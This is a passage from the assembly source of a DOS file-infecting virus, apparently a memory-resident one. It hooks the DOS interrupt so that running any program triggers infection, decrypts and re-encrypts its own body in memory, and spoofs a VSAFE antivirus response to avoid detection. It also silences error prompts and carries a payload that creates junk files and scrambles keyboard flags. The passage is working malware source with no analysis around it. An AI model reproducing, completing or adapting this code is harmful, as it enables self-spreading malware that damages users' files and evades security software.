  888.     mov    bp,msg_filez        ;# of filez total
  889. make_msg:
  890.     xor    cx,cx            ;null attribs
  891.     mov    ah,3ch
  892.     int    21h            ;create phile
  893.     jc    dont_close
  894.     xchg    ax,bx
  895.     mov    ah,3eh            ;close phile
  896.     int    21h
  897. dont_close: add    dx,9            ;point to next phile
  898.     dec    bp
  899.     jnz    make_msg
  900.  
  901.     lea    dx,root            ; change back to orginal dir
  902.     mov    ah,3bh
  903.     int    21h
  904.  
  905.     cmp    r_delay,5        ;5 calls?
  906.     jl    r_no            ;if not then skip keyboard ror
  907.     mov    r_delay,-1
  908.     xor    ax,ax            ;es=null
  909.     mov    es,ax
  910.     ror    word ptr es: [416h],1    ;rotate keyboard flags
  911. r_no:
  912.     inc    r_delay            ;increment calls count
  913.     mov    activate,1
  914.     pop    es bp dx ds cx bx ax
  915.     jmp    no_act
  916.  
  917. ;-------------------------------------------------------
  918. ; Interrupt 24h - critical error handler
  919. ;
  920. new_24:                    ; critical error handler
  921.     mov    al,3            ; prompts suck, return fail
  922.     iret
  923.  
  924. ;---------------------------------------------------------
  925. ; In-memory encryption function
  926. ;  **virus encrypted in memory up to this point**
  927. ;
  928. mem_crypt:
  929.     mov    cx,offset mem_crypt-offset code_start
  930.     xor    di,di            ;offset 0
  931. mem_loop:
  932.     db    2Eh,81h,35h        ;CS:XOR WORD PTR [DI],
  933. mem_word dw    0            ;XXXX
  934.     inc    di
  935.     loop    mem_loop
  936.     ret
  937.  
  938. ;----------------------------------------------------------
  939. ; Interrupt 21h
  940. ;  returns SI=0 and passes control to normal handler if
  941. ;   VSAFE uninstall command is recieved.
  942. ;
  943. new21:
  944.     pushf
  945.  
  946.     cmp    cs: activate,1        ; time to activate?
  947.     jnz    no_act
  948.     cmp    ah,0Bh
  949.     jl    act_routine
  950. no_act:
  951.     cmp    ax,signal        ; be it us?
  952.     jnz    not_us            ; richtig..
  953.     cmp    dx,vsafe_word
  954.     jnz    not_us
  955.     xor    si,si            ; tis us
  956.     mov    di,4559h        ; simulate VSAFE return
  957. not_us:
  958.     cmp    ah,4bh            ; execute phile?
  959.     jnz    jmp_org
  960.  
  961. go_now:    push    ax bp bx cx di dx ds es si
  962.     call    mem_crypt        ; decrypt in memory
  963.     call    infect_file        ; the mother of all calls
  964.     call    mem_crypt        ; encrypt in memory
  965.     pop    si es ds dx di cx bx bp ax
  966.  
  967.     jmp_org:
  968.     popf
  969.     db    0eah            ; jump far
  970.     old21    dd 0            ; O:S
  971.  
  972.  
  973. exe_header:
  974. org_bytes db    0CDh,20h,0,0        ; original COM bytes | exe hdr
  975. ;---- Start of heap (not written to disk)
  976. heap:
  977. db    14h    dup(0)            ; remaining exe header space
  978. old_24_off dw    0            ; old int24h vector
  979. old_24_seg dw    0
  980. r_delay    db    0
  981. size_disp db    0            ; additional size of virus
  982. IF XTRA_SPACE
  983. db      0DDh    dup(0)                  ; xtra space for random write
  984.                     ; otherwise decryptor will be
  985.                     ; written twice - could make it
  986.                     ; vulnerable
  987. ENDIF
  988. vend:                    ; end of virus in memory..
  989. cseg    ends
  990.     end    start
  991.  
  992.  
  993.